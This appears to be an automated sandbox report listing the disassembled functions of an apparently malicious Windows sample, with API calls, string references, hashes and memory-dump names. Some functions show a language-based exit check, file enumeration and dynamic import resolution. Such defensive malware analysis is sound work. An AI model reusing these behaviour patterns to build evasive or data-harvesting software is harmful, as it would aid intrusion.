API ID: lstrlen$lstrcpy$Heaplstrcatmemcpy$AllocateProcess
String ID: "$"$------$------$------
API String ID: 1086105663-2180234286
Opcode ID: 26eec3760455270602d5bd66fec490e262ed912d703d5f9d989fe5dc8aa845c2
Instruction ID: b3acf589dced84f0a0bdb3bbece81a8fabf167722516a49aa3269f8227201ab4
Opcode Fuzzy Hash: 26eec3760455270602d5bd66fec490e262ed912d703d5f9d989fe5dc8aa845c2
Instruction Fuzzy Hash: B312FA76920118AACB15EFA1DC95FEEB378BF54705F00419EB10663195EF782B88CF68

Function 0040B800 Relevance: 16.8, APIs: 11, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040B837
strtok_s.MSVCRT ref: 0040BC5F

Part of subcall function 004130D0: lstrlen.KERNEL32(00000000,?,?,0040F9D0,00414677,00414676,?,?,00410567,00000000,?,008859C8,?,00414834,?,00000000), ref: 004130DB
Part of subcall function 004130D0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413135

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 7b2e34e678f2bd22796688cf0585c68a256fcf47a522aaee57e06a3a9882f49d
Instruction ID: 357e97b8220c04f1253e5ea3142bfa513dde73726e007ec1678d313707bb5995
Opcode Fuzzy Hash: 7b2e34e678f2bd22796688cf0585c68a256fcf47a522aaee57e06a3a9882f49d
Instruction Fuzzy Hash: 9CC1A5B59001089BCB14EF60DC89FDAB779AB58304F0485DEE50967151EF78ABC5CF98

Function 0040D820 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 237stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 0040D8A2

Strings

%s\%s, xrefs: 0040D8E4
%s\%s\%s, xrefs: 0040D9AB
%s%s, xrefs: 0040DA08
%s\*, xrefs: 0040D82D
%s\%s, xrefs: 0040D9CD

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 4038537762-2524465048
Opcode ID: fc8f8692cfdbc3652edcd45e82f8c6a2cfae9c653859402aab069b0520a3686c
Instruction ID: 2ab86484d6f9dce3bb57da3c3004be3ba42ac5a63d99f8946a593feb9ea809c1
Opcode Fuzzy Hash: fc8f8692cfdbc3652edcd45e82f8c6a2cfae9c653859402aab069b0520a3686c
Instruction Fuzzy Hash: E19163B2A002089FCB24DFA4DC85FEE737DBB44704F08859AF61993195DB749A84CF95

Function 00894CD7 Relevance: 15.5, APIs: 10, Instructions: 493stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008A32B7: lstrcpy.KERNEL32(?,00000000), ref: 008A32FD

Part of subcall function 00893B27: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00893BAD

Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

Part of subcall function 008A34C7: lstrlen.KERNEL32(00000000,?,00000000,?,00000000,00414736,00414735), ref: 008A34DC
Part of subcall function 008A34C7: lstrcpy.KERNEL32(00000000), ref: 008A351B
Part of subcall function 008A34C7: lstrcat.KERNEL32(00000000,00000000), ref: 008A3529

Part of subcall function 008A33B7: lstrcpy.KERNEL32(?,00000000), ref: 008A341C

Part of subcall function 008A3437: lstrcpy.KERNEL32(00000000,?), ref: 008A3489
Part of subcall function 008A3437: lstrcat.KERNEL32(00000000), ref: 008A3499

lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,00414D98,00000000,?,00618054,00000000,?,0061824C,00000000,?,00414D94), ref: 008951E5
lstrlen.KERNEL32(00000000), ref: 008951F6
GetProcessHeap.KERNEL32(00000000,?), ref: 00895207
RtlAllocateHeap.NTDLL(00000000), ref: 0089520E
lstrlen.KERNEL32(00000000), ref: 00895223
memcpy.MSVCRT ref: 0089523A
lstrlen.KERNEL32(00000000), ref: 0089524C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00895265
memcpy.MSVCRT ref: 00895272
lstrlen.KERNEL32(00000000,?,?), ref: 0089528F

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Heaplstrcatmemcpy$AllocateProcess
String ID:
API String ID: 1086105663-0
Opcode ID: ba30d7ea4f629b7e4abd9e4e21bca524f3400424943e8c30884d53483c844499
Instruction ID: 146cd8d3d1b831c1b56ed4db8ea6e5ad78f1770aeb9bf856c96ad7a7871c51bf
Opcode Fuzzy Hash: ba30d7ea4f629b7e4abd9e4e21bca524f3400424943e8c30884d53483c844499
Instruction Fuzzy Hash: E112F971810118ABDF16EBA8EC96FEEB378FF65700F144199B10AA3591EF306B48CB51

Function 0089BB42 Relevance: 15.2, APIs: 10, Instructions: 205stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 0089BB72
lstrcpy.KERNEL32(?,00000000), ref: 0089BBAE

Part of subcall function 008A1F37: lstrlen.KERNEL32(?), ref: 008A1F7E

lstrcpy.KERNEL32(?,00000000), ref: 0089BBF6
lstrcpy.KERNEL32(?,00000000), ref: 0089BC3E
lstrcpy.KERNEL32(?,00000000), ref: 0089BC85
lstrcpy.KERNEL32(?,00000000), ref: 0089BCCD
lstrcpy.KERNEL32(?,00000000), ref: 0089BD15
lstrcpy.KERNEL32(?,00000000), ref: 0089BD5C
lstrcpy.KERNEL32(?,00000000), ref: 0089BDA4

Part of subcall function 008A3337: lstrlen.KERNEL32(0089427C,?,?,0089427C,00414716), ref: 008A3342
Part of subcall function 008A3337: lstrcpy.KERNEL32(00414716,00000000), ref: 008A339C

strtok_s.MSVCRT ref: 0089BEC6

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$strtok_s
String ID:
API String ID: 1077714376-0
Opcode ID: 725bc5e25a43332ee6962f2157020678be1d44ab17f88fe9a2f99987aad1004f
Instruction ID: 61e0ec03de72de80b2b297f82d23cfac629e53ba677ea9f5ac4c48d9f8e98906
Opcode Fuzzy Hash: 725bc5e25a43332ee6962f2157020678be1d44ab17f88fe9a2f99987aad1004f
Instruction Fuzzy Hash: 1F717FB29001189BDF55EBB4DC8AEEE7379FB55300F088699F109E3141EE759B848F61

Function 0040E3E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 137stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0040E3F0
RtlAllocateHeap.NTDLL(00000000), ref: 0040E3F7
lstrcat.KERNEL32(?,00000000), ref: 0040E529
lstrcat.KERNEL32(?,00000000), ref: 0040E53C
lstrlen.KERNEL32(?), ref: 0040E549
lstrlen.KERNEL32(?), ref: 0040E55A

Strings

%s\*, xrefs: 0040E407
%s\%s, xrefs: 0040E485

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heaplstrcatlstrlen$AllocateProcess
String ID: %s\%s$%s\*
API String ID: 196298277-2848263008
Opcode ID: 53a5f5156e2f5994bced82f4df54ca842df4e2015695b9087d017d16251fd8a7
Instruction ID: 057a8c359136346fbda44e42cf223d9c2834f713af44f8c060b811d7258d1b6b
Opcode Fuzzy Hash: 53a5f5156e2f5994bced82f4df54ca842df4e2015695b9087d017d16251fd8a7
Instruction Fuzzy Hash: 985153B1940218AFCB10EBA0DC89EDE7779AB58704F04859AF609A3194DF749BC48F95

Function 0089E387 Relevance: 12.7, APIs: 10, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0089E3A5
memset.MSVCRT ref: 0089E3BC
lstrcat.KERNEL32(?,00000000), ref: 0089E3F3
lstrcat.KERNEL32(?,00618268), ref: 0089E412
lstrcat.KERNEL32(?,?), ref: 0089E426
lstrcat.KERNEL32(?,00618514), ref: 0089E43A

Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

Part of subcall function 00896637: memcmp.MSVCRT ref: 008966EB

Part of subcall function 00896317: CloseHandle.KERNEL32(000000FF), ref: 008963F1

Part of subcall function 00896417: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00894265,00000000,00000000), ref: 00896446
Part of subcall function 00896417: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00894265,00000000,00000000), ref: 00896481

Part of subcall function 00896767: memcmp.MSVCRT ref: 00896782
Part of subcall function 00896767: memset.MSVCRT ref: 008967B5

lstrcat.KERNEL32(?,00000000), ref: 0089E581
lstrcat.KERNEL32(00000000,00000000), ref: 0089E5B0
lstrcat.KERNEL32(00000000,?), ref: 0089E5C3
lstrcat.KERNEL32(00000000,004147D0), ref: 0089E5D2

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$memset$BinaryCryptStringmemcmp$CloseHandlelstrcpy
String ID:
API String ID: 2430198047-0
Opcode ID: 17314aac0f6bf978e8ad9dc97e0f07646332481be90fd5a35d147ebf3c297df5
Instruction ID: 7ef327045b6d385fb71e0ca0cb8553cc94c9a11f5044c0b5103456cd1c19977c
Opcode Fuzzy Hash: 17314aac0f6bf978e8ad9dc97e0f07646332481be90fd5a35d147ebf3c297df5
Instruction Fuzzy Hash: DA713FB2900208ABDF14EBA4DC89FDE7779FF98300F188599F609D7181EA759B44CB61

Function 0040E120 Relevance: 12.7, APIs: 10, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E13E
memset.MSVCRT ref: 0040E155
lstrcat.KERNEL32(?,00000000), ref: 0040E18C
lstrcat.KERNEL32(?,00000000), ref: 0040E1AB
lstrcat.KERNEL32(?,?), ref: 0040E1BF
lstrcat.KERNEL32(?,00000000), ref: 0040E1D3

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Part of subcall function 004063D0: memcmp.MSVCRT ref: 00406484

Part of subcall function 004060B0: CloseHandle.KERNEL32(000000FF), ref: 0040618A

Part of subcall function 004061B0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00403FFE,00000000,00000000), ref: 004061DF
Part of subcall function 004061B0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00403FFE,00000000,00000000), ref: 0040621A

Part of subcall function 00406500: memcmp.MSVCRT ref: 0040651B
Part of subcall function 00406500: memset.MSVCRT ref: 0040654E

lstrcat.KERNEL32(?,00000000), ref: 0040E31A
lstrcat.KERNEL32(00000000,00000000), ref: 0040E349
lstrcat.KERNEL32(00000000,?), ref: 0040E35C
lstrcat.KERNEL32(00000000,004147D0), ref: 0040E36B

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$memset$BinaryCryptStringmemcmp$CloseHandlelstrcpy
String ID:
API String ID: 2430198047-0
Opcode ID: a0f8bee08b557520875e11261d1a57ed00df94edf4339c2beed7a363dba5041a
Instruction ID: 3bc3db500648d3b8e2315029556d61a23618a9b90b51ac58705b3bafe077aa38
Opcode Fuzzy Hash: a0f8bee08b557520875e11261d1a57ed00df94edf4339c2beed7a363dba5041a
Instruction Fuzzy Hash: E47176B2900208ABCB14EBA1DC85FDE7779AB48304F04859DF609A7195EB74DB94CF64

Function 00410D30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,00000000,00000000,?,00414704,00000000,?,00000000,00000000,?,00000000), ref: 00410D3D
RtlAllocateHeap.NTDLL(00000000), ref: 00410D44
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00410D65
__aulldiv.LIBCMT ref: 00410D7F
__aulldiv.LIBCMT ref: 00410D8D

Strings

@, xrefs: 00410D5A
%d MB, xrefs: 00410DB0

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatus
String ID: %d MB$@
API String ID: 2728336565-3474575989
Opcode ID: 427e3868cf694f15b19fe23a83d4bd4a241364a3348d377c3a02fcf3f873bae2
Instruction ID: 707000b30deade13748eefd01e6ef1cf8622db087f157e1a1a0b944f5097d835
Opcode Fuzzy Hash: 427e3868cf694f15b19fe23a83d4bd4a241364a3348d377c3a02fcf3f873bae2
Instruction Fuzzy Hash: D2113CB0D40208ABDB00DBD4DC45BEEB778AB44704F108509F704AB280DBB8A9408B98

Function 004101B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00410477,00414682), ref: 004101B4
ExitProcess.KERNEL32 ref: 004101E5
ExitProcess.KERNEL32 ref: 004101EF
ExitProcess.KERNEL32 ref: 004101F9
ExitProcess.KERNEL32 ref: 00410203
ExitProcess.KERNEL32 ref: 0041020D

Strings

*, xrefs: 004101CC

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: da7414cfd4f6ef5a06fe243907d838e8ceda39788d4d1a4d1814055982dc2574
Instruction ID: 6bb6e8a3c801933b98899c13c51f9ac433c06584565f6ba3550c305161e96221
Opcode Fuzzy Hash: da7414cfd4f6ef5a06fe243907d838e8ceda39788d4d1a4d1814055982dc2574
Instruction Fuzzy Hash: C5F03A30944208EFD3449FE0A9697DCBBB1EB04702F24A196E609876D0CAB44A909BA1

Function 0040E760 Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 172COMMON

Download Yara Rule

Strings

%s\%s, xrefs: 0040E83F
%s\*, xrefs: 0040E76D
%s\%s, xrefs: 0040E7EE

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID: %s\%s$%s\%s$%s\*
API String ID: 0-445461498
Opcode ID: 9f67832a7bc174ad6bb297f98ca892c05b62021e56163b6fa7a415511eebbadb
Instruction ID: 653d663be24117141108ce37a0b39abbb6dfde9dc7eb1b584f6f8f355b072eab
Opcode Fuzzy Hash: 9f67832a7bc174ad6bb297f98ca892c05b62021e56163b6fa7a415511eebbadb
Instruction Fuzzy Hash: 156164B2900218AFCB10EBA1DC85EEA777DBB48704F04859EF60993191EF749AC4CF95

Function 00403990 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 479stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00413050: lstrcpy.KERNEL32(?,00000000), ref: 00413096

Part of subcall function 004038C0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00403946

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Part of subcall function 00413260: lstrlen.KERNEL32(?,00414838,?,00000000,00414682), ref: 00413275
Part of subcall function 00413260: lstrcpy.KERNEL32(00000000), ref: 004132B4
Part of subcall function 00413260: lstrcat.KERNEL32(00000000,00000000), ref: 004132C2

Part of subcall function 00413150: lstrcpy.KERNEL32(?,00414682), ref: 004131B5

Part of subcall function 004131D0: lstrcpy.KERNEL32(00000000,?), ref: 00413222
Part of subcall function 004131D0: lstrcat.KERNEL32(00000000), ref: 00413232

lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00414713,00000000,?,?,00000000,?,",00000000,?,00000000), ref: 00403EF8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00403F14

Strings

------, xrefs: 00403ACD
", xrefs: 00403D02
------, xrefs: 00403C38
", xrefs: 00403E43
------, xrefs: 00403D79

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: "$"$------$------$------
API String ID: 2500673778-2180234286
Opcode ID: 44bb66c9e2f232fd683d127f420070c1dc3cdca0f1b7e3d0de3f29f0438fd1f5
Instruction ID: 6df12dffe85d056e43b5733e99d7b47ed59c0aa1f6b5f7496db5cac169064cb1
Opcode Fuzzy Hash: 44bb66c9e2f232fd683d127f420070c1dc3cdca0f1b7e3d0de3f29f0438fd1f5
Instruction Fuzzy Hash: 9D121972910118AACB14EF91CC92FEEB779AF19305F10419EB10663195EF782F88CF69

Function 0040DD50 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

%s\%s, xrefs: 0040DD61

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID: %s\%s
API String ID: 0-4073750446
Opcode ID: bda60e50286d89f94d235c1a7786bef5cc2987b828391edf2943488f008da3cd
Instruction ID: 1750d670eb3d14c68824cd0173b1008080d249de5a15bbd1f76bd54184e7e69c
Opcode Fuzzy Hash: bda60e50286d89f94d235c1a7786bef5cc2987b828391edf2943488f008da3cd
Instruction Fuzzy Hash: DC5135B1900219ABCB14EBA0DC85EEE737DBB54704F04859EB61992094DF799BC8CF94

Function 008A0697 Relevance: 10.6, APIs: 7, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618168), ref: 008A2428
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,0061850C), ref: 008A2441
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618578), ref: 008A2459
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,006181C8), ref: 008A2471
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,006181B4), ref: 008A248A
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618254), ref: 008A24A2
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618420), ref: 008A24BA
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618298), ref: 008A24D3
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,006184EC), ref: 008A24EB
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618490), ref: 008A2503
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618314), ref: 008A251C
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618248), ref: 008A2534
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618540), ref: 008A254C
Part of subcall function 008A23E7: GetProcAddress.KERNEL32(006187D8,00618018), ref: 008A2565

Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

ExitProcess.KERNEL32 ref: 008A06BF
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00618488,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 008A0782
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 008A07A0
CloseHandle.KERNEL32(?,00000000,?,00618488,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 008A07D2
ExitProcess.KERNEL32 ref: 008A07DA

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: AddressProc$EventExitProcess$CloseCreateHandleOpenlstrcpy
String ID:
API String ID: 2380255356-0
Opcode ID: 4aecd75034a670bfe7329fd9e7515af95a6ef275aa1d0a5b97f5ba176cf0156d
Instruction ID: 85e8c58c5caeeb1f75f5cce5fccca526051c680270cc215868ccd0cd8cc04120
Opcode Fuzzy Hash: 4aecd75034a670bfe7329fd9e7515af95a6ef275aa1d0a5b97f5ba176cf0156d
Instruction Fuzzy Hash: 73313A31904209ABEF04FBF8DC56AFD7775FF56300F184419B202E2992DF749A04CA62

Function 008A0F97 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,006182BC,00000000,?,00414704,00000000,?,00000000,00000000,?,006180D4), ref: 008A0FA4
RtlAllocateHeap.NTDLL(00000000), ref: 008A0FAB
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 008A0FCC
__aulldiv.LIBCMT ref: 008A0FE6
__aulldiv.LIBCMT ref: 008A0FF4

Strings

@, xrefs: 008A0FC1

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatus
String ID: @
API String ID: 2728336565-2766056989
Opcode ID: 427e3868cf694f15b19fe23a83d4bd4a241364a3348d377c3a02fcf3f873bae2
Instruction ID: e5c7e154de4c4d1c367a07e435c04d5c6b4328aee9638835bcfc4bd44421b57f
Opcode Fuzzy Hash: 427e3868cf694f15b19fe23a83d4bd4a241364a3348d377c3a02fcf3f873bae2
Instruction Fuzzy Hash: 2A111EB0D40208BBEB00DBE4CC4AFEE7779FB45B05F148549F704AB280D7B999008B95

Function 0089EF67 Relevance: 10.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 0089F007
lstrcat.KERNEL32(?,00414820), ref: 0089F016
lstrcpy.KERNEL32(?,00000000), ref: 0089F064
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0089F070
lstrcat.KERNEL32(?,?), ref: 0089F088
lstrcpy.KERNEL32(?,00414672), ref: 0089F09A
lstrcat.KERNEL32(?,?), ref: 0089F0C9
lstrcat.KERNEL32(?,00414828), ref: 0089F0D8

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess
String ID:
API String ID: 947272703-0
Opcode ID: ed7883fb3685f41c365945d1ed134c9361c1de52cc20d4ee37231f3f0709d45e
Instruction ID: 3c67d465808811b36def0db30a7cca9e5a25134bb5afb5712486eee99f1b60db
Opcode Fuzzy Hash: ed7883fb3685f41c365945d1ed134c9361c1de52cc20d4ee37231f3f0709d45e
Instruction Fuzzy Hash: 534119B5900218AFDB10DF90DC88FDA77B9FB48304F14D69AE609A7141DF749A85CFA0

Function 0040ED00 Relevance: 10.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(0040FE42,00000000), ref: 0040EDA0
lstrcat.KERNEL32(0040FE42,00414820), ref: 0040EDAF
lstrcpy.KERNEL32(?,00000000), ref: 0040EDFD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040EE09
lstrcat.KERNEL32(0040FE42,?), ref: 0040EE21
lstrcpy.KERNEL32(?,00414672), ref: 0040EE33
lstrcat.KERNEL32(0040FE42,?), ref: 0040EE62
lstrcat.KERNEL32(0040FE42,00414828), ref: 0040EE71

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess
String ID:
API String ID: 947272703-0
Opcode ID: ed7883fb3685f41c365945d1ed134c9361c1de52cc20d4ee37231f3f0709d45e
Instruction ID: 58ace7e0d6db9fe93cd4eb589888f192107353e14a329c3ca55e17269f801fca
Opcode Fuzzy Hash: ed7883fb3685f41c365945d1ed134c9361c1de52cc20d4ee37231f3f0709d45e
Instruction Fuzzy Hash: 82410DB5900118AFDB10DFA0DC48FDA77B9BB48304F14D59AE609A7180DF749A85CFA4

Function 0089E647 Relevance: 9.1, APIs: 6, Instructions: 137stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0089E657
RtlAllocateHeap.NTDLL(00000000), ref: 0089E65E
lstrcat.KERNEL32(?,0061846C), ref: 0089E790
lstrcat.KERNEL32(?,00618190), ref: 0089E7A3
lstrlen.KERNEL32(?), ref: 0089E7B0
lstrlen.KERNEL32(?), ref: 0089E7C1

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heaplstrcatlstrlen$AllocateProcess
String ID:
API String ID: 196298277-0
Opcode ID: 614a13f5e494e5adaa664876f4e1c625704d09857c2f29e338efd54800a4e892
Instruction ID: 875e99a1f109d11b17bdc77efe6a0aea93a610e669bc997602ceab33d09fc2fb
Opcode Fuzzy Hash: 614a13f5e494e5adaa664876f4e1c625704d09857c2f29e338efd54800a4e892
Instruction Fuzzy Hash: A4514FB1940218AFCB14EBA4DC89EED7779FB64700F088689B649D3190EF749B84CF91

Function 0089E847 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00618268), ref: 0089E8A2
lstrcat.KERNEL32(?,00000000), ref: 0089E8C8
lstrcat.KERNEL32(?,?), ref: 0089E8E7
lstrcat.KERNEL32(?,?), ref: 0089E8FB
lstrcat.KERNEL32(?,006181E8), ref: 0089E90E
lstrcat.KERNEL32(?,?), ref: 0089E922
lstrcat.KERNEL32(?,00618228), ref: 0089E936

